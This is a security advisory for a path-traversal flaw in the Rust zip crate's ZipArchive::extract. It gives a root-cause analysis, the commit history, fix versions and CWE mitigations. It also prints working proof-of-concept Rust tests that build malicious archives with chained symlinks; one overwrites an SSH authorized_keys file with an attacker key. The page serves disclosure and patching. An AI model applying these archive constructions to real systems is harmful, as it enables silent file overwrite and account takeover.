GHSA-hjqx-j4rw-g7xv CVE-2026-115908
zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.
- Severity
- 7.4 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.57% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-59 Improper Link Resolution Before File Access ('Link Following')
- CWE-61 UNIX Symbolic Link (Symlink) Following
- Fix
9.0.0- Upgrade zip to this version or later
Description
Summary
- Verified version: zip
9.0.0-pre3 - Affected versions:
7.2.0and later - Precondition: The attacker knows (or can guess) the absolute path of the extraction destination
The validation applied to symlinks is purely lexical.
As a result, an attacker can write arbitrary files outside the extraction directory through a symlink.
Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, /opt/app, a fixed Downloads path, and so on.
Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases):
Becausesimplified_componentsdiscards thePrefixcomponent, paths likeD:\<same tail as dest>or a UNC path\\attacker\share\<same tail>pass thestarts_withcheck.
As a result,outpath.pushgets replaced onto a different drive/remote share, so a single symlink is enough — no intermediate symlink chain is required.
That said, creating a symlink on Windows requiresSeCreateSymbolicLinkPrivilege(administrator rights or Developer Mode enabled). Real-hardware verification (Windows 10 VM (19045.2604),tests/poc_win.rs):
With the extraction target set to a temporary directory underC:, both of the following paths returnedOk(())fromextract()and successfully wrote outside the extraction target.
In both casesextract()returned no error (Ok(())), and it was confirmed that the contents ofpwned.txtmatched the attacker-specified value.
Relationship to CVE-2025-29787
This is not a duplicate of the existing CVE-2025-29787 (2025-03); rather, the protection introduced for that CVE was subsequently lost.
Timeline (git history, UTC)
| commit | Date | Description |
|---|---|---|
d4539d6b |
2025-02-28 | Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination |
0199ac2c |
2025-03-15 | Before the v2.3.0 release, the above is replaced with a lexical check based on simplified_components |
v2.3.0 |
2025-03-16 | Released as the CVE fix. What actually shipped is the lexical check |
d5cf4b55 |
2026-01-18 | Changes how simplified_components handles absolute paths, from rejecting them to silently stripping them (released in v7.2.0) |
Why v2.3.0 was not affected, and how the protection was lost
The safe_prepare_path in v2.3.0 performs essentially the same lexical check as the current code. However, simplified_components at that time rejected any path containing an absolute component, so an absolute symlink target was never accepted in the first place and this attack path did not work.
// v2.3.0: reject absolute paths
Component::Prefix(_) | Component::RootDir => return None,
// Current: ignore the fact that the path is absolute
Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),
d5cf4b55 was intended to make archives containing absolute path names extractable, but as a side effect absolute symlink targets now pass the lexical check, which silently removed the protection against CVE-2025-29787.
Verification
The following three cases were compared using the same build (9.0.0-pre3):
| Payload / condition | Result |
|---|---|
Original PoC for CVE-2025-29787 (relative symlink parent -> ../) |
Blocked with Err(InvalidArchive("Invalid symlink target path")) (the CVE fix itself is effective) |
| PoC in this report (two-stage symlink using absolute paths) | Succeeds with Ok(()), writing outside the destination |
PoC in this report, with the d5cf4b55 change reverted to return None |
Blocked with Err(InvalidArchive("Invalid symlink target path")) |
The first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate.
The third row confirms that this vulnerability originates from the change in d5cf4b55.
Differences from CVE-2025-29787
- Stricter precondition: This issue requires the absolute path of the destination to be known (
AC:H). The CVE worked with a relative../and had no such precondition. - Narrower API surface: This issue affects only
ZipArchive::extract(andextract_unwrapped_root_dir).ZipStreamReader::extractis not affected, becauseexternal_attributesin the local header is0and thereforeis_symlink()never returns true (the CVE affected both APIs).
Details
Lexical validation of the path string
The symlink validation in src/read/zipfile.rs: L290-345 is lexical.
src/read/zipfile.rs: fn safe_prepare_path (L316-321):
if !crate::path::simplified_components(&target)
.ok_or(invalid!("Invalid symlink target path"))?
.starts_with(
&crate::path::simplified_components(base_path)
.ok_or(invalid!("Invalid base path"))?,
)
simplified_components discards the information that a path is absolute (drive prefix / root), normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system.
Consequently, the classic Zip Slip vector using .. is blocked, but paths that involve symlink resolution are not.
src/path.rs: fn simplified_components (L9~26):
/// Simplify a path by removing the prefix and parent directories and only return normal components
pub(crate) fn simplified_components(input: &Path) -> Option<Vec<&OsStr>> {
let mut out = Vec::new();
let input_str = input.to_str()?;
for component in Utf8WindowsPath::new(input_str).components() {
match component {
// Skip prefix and root directory components instead of rejecting the entire path
// This allows extraction of ZIP files with absolute paths, similar to other ZIP tools
Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),
Utf8WindowsComponent::ParentDir => {
out.pop()?;
}
Utf8WindowsComponent::Normal(s) => out.push(OsStr::new(s)),
Utf8WindowsComponent::CurDir => (),
}
}
Some(out)
}
Insufficient validation of target
Once the path check passes, src/read/zipfile.rs: fn safe_prepare_path (L345) performs outpath.push(target), but whether any intermediate component of target is itself a symlink is never checked.
In addition, make_symlink, which is called from extract_internal, delegates to make_symlink_impl and only validates that the archive-supplied target is valid UTF-8.
There is no check that target stays inside the destination, so the symlink is created as-is.
src/read/mod.rs: fn extract_internal (L396-406):
#[cfg(any(unix, windows))]
if file.is_symlink() {
let mut target = Vec::with_capacity(file.size() as usize);
file.read_to_end(&mut target)?;
drop(file);
make_symlink(&outpath, &target, &self.shared.files)?;
continue;
} else if file.is_dir() {
make_writable_dir_all(&outpath)?;
continue;
}
src/read/mod.rs: fn make_symlink_impl (L57-90):
#[cfg(unix)]
pub(crate) fn make_symlink_impl<T>(
outpath: &Path,
target_str: &str,
_existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
std::os::unix::fs::symlink(Path::new(&target_str), outpath)?;
Ok(())
}
#[cfg(windows)]
pub(crate) fn make_symlink_impl<T>(
outpath: &Path,
target_str: &str,
existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
use crate::format::functions::is_dir;
let target = Path::new(OsStr::new(&target_str));
let target_is_dir_from_archive =
is_dir(target_str.as_bytes()) && existing_files.contains_key(target_str.as_bytes());
let target_is_dir = if target_is_dir_from_archive {
true
} else if let Ok(meta) = std::fs::metadata(target) {
meta.is_dir()
} else {
false
};
if target_is_dir {
std::os::windows::fs::symlink_dir(target, outpath)?;
} else {
std::os::windows::fs::symlink_file(target, outpath)?;
}
Ok(())
}
Contradiction with the doc comment
The documentation comment of extract at src/read/mod.rs: L266-269 states the following.
In reality, however, there is no validation when a symlink is created, and canonicalize is not used to validate symlink targets (canonicalize is used only in src/read/mod.rs: fn extract_internal (L357), to normalize the destination directory itself).
/// Extract a Zip archive into a directory, overwriting files if they
/// already exist. Paths are sanitized with [`ZipFile::enclosed_name`]. Symbolic links are only
/// created and followed if the target is within the destination directory (this is checked
/// conservatively using [`std::fs::canonicalize`]).
Combining the above makes it possible to write outside the destination during extraction:
| entry | kind | target |
|---|---|---|
| b | symlink | /…/outside (created without validation) |
| a | symlink | <dest>/b/sub (lexically under dest, so it passes the check) |
| a/pwned.txt | file | - |
Entries are processed in central directory order (for i in 0..self.len() at src/read/mod.rs: L386), so the order above (b -> a -> a/pwned.txt) is required.
Extraction then proceeds as follows:
b: without any validation, the symlink<dest>/b -> /…/outside, pointing outside the destination, is created.a: likewise without validation,<dest>/a -> <dest>/b/subis created.a/pwned.txt: whensafe_prepare_pathprocesses the componenta, it sees that<dest>/ais a symlink and validates its target (<dest>/b/sub). Lexically that target is under<dest>, so the check passes andoutpathbecomes<dest>/b/sub.- At this point, the fact that
b, an intermediate component of the target, is a symlink pointing outside is never re-validated. - Because
ais not the final component,make_writable_dir_allis called and creates<dest>/b/sub(which really is/…/outside/sub).
- At this point, the fact that
- Finally
File::createcreates<dest>/b/sub/pwned.txt; the kernel resolvesband writes to/…/outside/sub/pwned.txt.extract()returnsOk(()).
PoC
The PoC below is written as a unit test.
Place it at tests/poc_linux.rs and run cargo test --test poc_linux -- --nocapture to reproduce.
zip_slip_via_symlink: Write a new file outside the extraction destinationoverwrite_existing_ssh_authorized_keys: Overwrite an existing file ~/.ssh/authorized_keys outside the extraction destination
tests/poc_linux.rs
//! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv)
//!
//! - author: sl91994
//!
//! Mechanism: The symlink target validation is lexical (prefix matching in `simplified_components`)
//! By placing an outward-pointing symlink `b` as an "intermediate component in the resolved path", `b` is traversed by the OS rather than the validation loop, thus escaping outside without being verified.
//! Can be reproduced with `cargo test --test poc_linux -- --nocapture`
#![cfg(unix)]
use std::fs;
use std::io::{Cursor, Write};
use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
/// Verification of writing a new file outside the extraction destination
#[test]
fn zip_slip_via_symlink() {
let tmp = TempDir::new().unwrap();
let dest = tmp.path().join("dest"); // Extraction destination
let outside = tmp.path().join("outside"); // A location where writing should not be allowed
fs::create_dir(&dest).unwrap();
fs::create_dir(&outside).unwrap();
// Construct a malicious ZIP
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
let opt = SimpleFileOptions::default();
// b: Symlink pointing outside (target is created unverified)
zip.add_symlink("b", outside.to_str().unwrap(), opt).unwrap();
// a: Symlink whose target starts under dest (passes lexical validation)
zip.add_symlink("a", dest.join("b/sub").to_str().unwrap(), opt).unwrap();
// a/pwned.txt: File that escapes outside dest by traversing the intermediate b
zip.start_file("a/pwned.txt", opt).unwrap();
zip.write_all(b"escaped!").unwrap();
let archive = zip.finish_into_readable().unwrap();
ZipArchive::from(archive).extract(&dest).unwrap();
// Verification: File has been written outside dest
let escaped = outside.join("sub/pwned.txt");
assert!(escaped.exists(), "escape failed");
assert_eq!(fs::read_to_string(&escaped).unwrap(), "escaped!");
println!("wrote outside dest: {}", escaped.display());
}
/// Verification of overwriting an existing file (~/.ssh/authorized_keys) outside the extraction destination
#[test]
fn overwrite_existing_ssh_authorized_keys() {
let tmp = TempDir::new().unwrap();
let dest = tmp.path().join("dest"); // Extraction destination
// Reproduce victim's existing ~/.ssh/authorized_keys (containing a legitimate key)
let home = tmp.path().join("home_victim");
let ssh = home.join(".ssh");
fs::create_dir_all(&ssh).unwrap();
let authorized_keys = ssh.join("authorized_keys");
fs::write(&authorized_keys, "ssh-ed25519 AAAA...LEGIT victim@host\n").unwrap();
let original = fs::read_to_string(&authorized_keys).unwrap();
fs::create_dir(&dest).unwrap();
// Construct a malicious ZIP
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
let opt = SimpleFileOptions::default();
// b: Outward-pointing symlink to victim's HOME (target unverified)
// Because it's placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation
zip.add_symlink("b", home.to_str().unwrap(), opt).unwrap();
// a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest)
zip.add_symlink("a", dest.join("b/.ssh").to_str().unwrap(), opt).unwrap();
// a/authorized_keys: File entry that reaches the actual authorized_keys
zip.start_file("a/authorized_keys", opt).unwrap();
zip.write_all(b"ssh-ed25519 AAAA...ATTACKER attacker@evil\n").unwrap();
let archive = zip.finish_into_readable().unwrap();
// extract() returns Ok(()) without an error (the caller cannot detect it)
let res = ZipArchive::from(archive).extract(&dest);
println!("extract() returned: {:?}", res);
res.unwrap();
// Verification: Existing file is overwritten with the attacker's content
let after = fs::read_to_string(&authorized_keys).unwrap();
println!("--- BEFORE ---\n{original}--- AFTER ---\n{after}");
assert_ne!(after, original, "file was NOT overwritten");
assert!(after.contains("ATTACKER"), "attacker content not present");
println!("OVERWROTE existing file: {}", authorized_keys.display());
}
Windows PoC (tests/poc_win.rs)
This is a test that verifies escape to a different drive / UNC share via a single symlink, specific to Windows.
By setting the extraction destination to a temporary directory on C: and making the symlink target an absolute path on a different volume that shares the same tail as dest, it passes the lexical check in simplified_components (which discards the Prefix), and the drive/share substitution performed by outpath.push results in a write outside of dest.
escape_via_second_drive: writes toE:\<same tail as dest>\evil\pwned.txton a separate drive (e.g.E:)escape_via_unc_share: writes to\\localhost\poc\<same tail as dest>\evil\pwned.txton a UNC share (e.g.\\localhost\poc\)
//! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv)
//!
//! - author: sl91994
//!
//! The crafted ZIP contains only 2 entries:
//! 1. `a` : a symlink whose target = `<OTHER>\<same tail as dest>\evil` (absolute path)
//! 2. `a/pwned.txt`: a regular file
//! During extraction, resolving `a` causes outpath to be replaced with `<OTHER>\...\evil`,
//! and `File::create(<OTHER>\...\evil\pwned.txt)` writes outside of dest.
//!
//! # Prerequisites
//! - Windows 10 (build 14972+) through Windows 11
//! - Symlink creation privilege `SeCreateSymbolicLinkPrivilege` = Developer Mode enabled, or run as Administrator.
//! - One volume / share **separate from dest**.
//! Supply the escape destination via environment variables:
//! * `POC_OTHER_DRIVE`: root of a separate drive. Must end with `\`. e.g. `D:\`
//! * `POC_UNC_SHARE`: root of a writable UNC share. Must end with `\`.
//! e.g. `\\localhost\poc\`
//! (`net share poc=C:\path\to\share /grant:%USERNAME%,FULL`)
//!
//! # Running
//!
//! ```powershell
//! $env:POC_OTHER_DRIVE = "D:\"
//! $env:POC_UNC_SHARE = "\\localhost\poc\"
//! cargo test --test poc_win -- --nocapture
//! ```
#![cfg(windows)]
use std::ffi::OsString;
use std::fs;
use std::io::{Cursor, Write};
use std::path::{Component, Path, PathBuf};
use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
/// Whether we have the privilege needed to create symlinks
fn have_symlink_privilege() -> bool {
let Ok(tmp) = TempDir::new() else {
return false;
};
let target = tmp.path().join("privcheck_target");
let link = tmp.path().join("privcheck_link");
if fs::write(&target, b"x").is_err() {
return false;
}
std::os::windows::fs::symlink_file(&target, &link).is_ok()
}
/// Extract only the Normal components of a path (the tail, with prefix / root dropped)
fn normal_tail(p: &Path) -> Vec<OsString> {
p.components()
.filter_map(|c| match c {
Component::Normal(s) => Some(s.to_os_string()),
_ => None,
})
.collect()
}
/// Returns the `Prefix` (volume identifier) at the head of the path
fn volume_prefix(p: &Path) -> Option<OsString> {
match p.components().next() {
Some(Component::Prefix(pre)) => Some(pre.as_os_str().to_os_string()),
_ => None,
}
}
/// Verifies the single-symlink escape using the escape destination root `other_root` (a separate volume / share)
fn run_escape(variant: &str, other_root: &str) {
if !have_symlink_privilege() {
eprintln!(
"[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \
enable Developer Mode or run as Administrator."
);
return;
}
// other_root must be an existing, writable root
let other_root_path = PathBuf::from(other_root);
if !fs::metadata(&other_root_path)
.map(|m| m.is_dir())
.unwrap_or(false)
{
eprintln!(
"[SKIP] [{variant}] escape root {other_root:?} does not exist or is not a \
directory; check the environment variable."
);
return;
}
// The extraction destination `dest` is a temp directo…
Affected versions
crates.io
| Package | Vulnerable | Fixed in |
|---|---|---|
| zip | >= 7.2.0, < 9.0.0 |
9.0.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
zip crates.io → 9.0.0
- cargo
cargo update -p zip --precise 9.0.0
Severity breakdown
CVSS 3.1 7.4
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-59: Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
How to prevent it
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CWE-61: UNIX Symbolic Link (Symlink) Following
The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
How to prevent it
- Implementation: Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-q7v9-x93c-xqv3 zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction | High | Also affects zip |
| GHSA-m665-v7pm-7grj zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE | Critical | Also affects zip |
| GHSA-9hj8-73fh-9963 zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size | High | Also affects zip |
| GHSA-8hxf-qr8p-62x4 zip: AES Entry HMAC Authentication Bypass on Premature EOF | Medium | Also affects zip |
| RUSTSEC-2026-0369 ZipStreamReader::extract() and ZipArchive::extract() apply Unix permissions through symlinks without confining the target | Critical | Also affects zip |
| RUSTSEC-2026-0368 zip: `ZipArchive::extract` creates symbolic links whose attacker-controlled targets are outside the destination directory | Not rated yet | Also affects zip |
| RUSTSEC-2026-0367 Insecure Preservation of SUID/SGID Bits during ZIP Extraction Leading to Potential Privilege Escalation | High | Also affects zip |
| GHSA-94vh-gphv-8pm8 zip Incorrectly Canonicalizes Paths during Archive Extraction Leading to Arbitrary File Write | High | Also affects zip |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor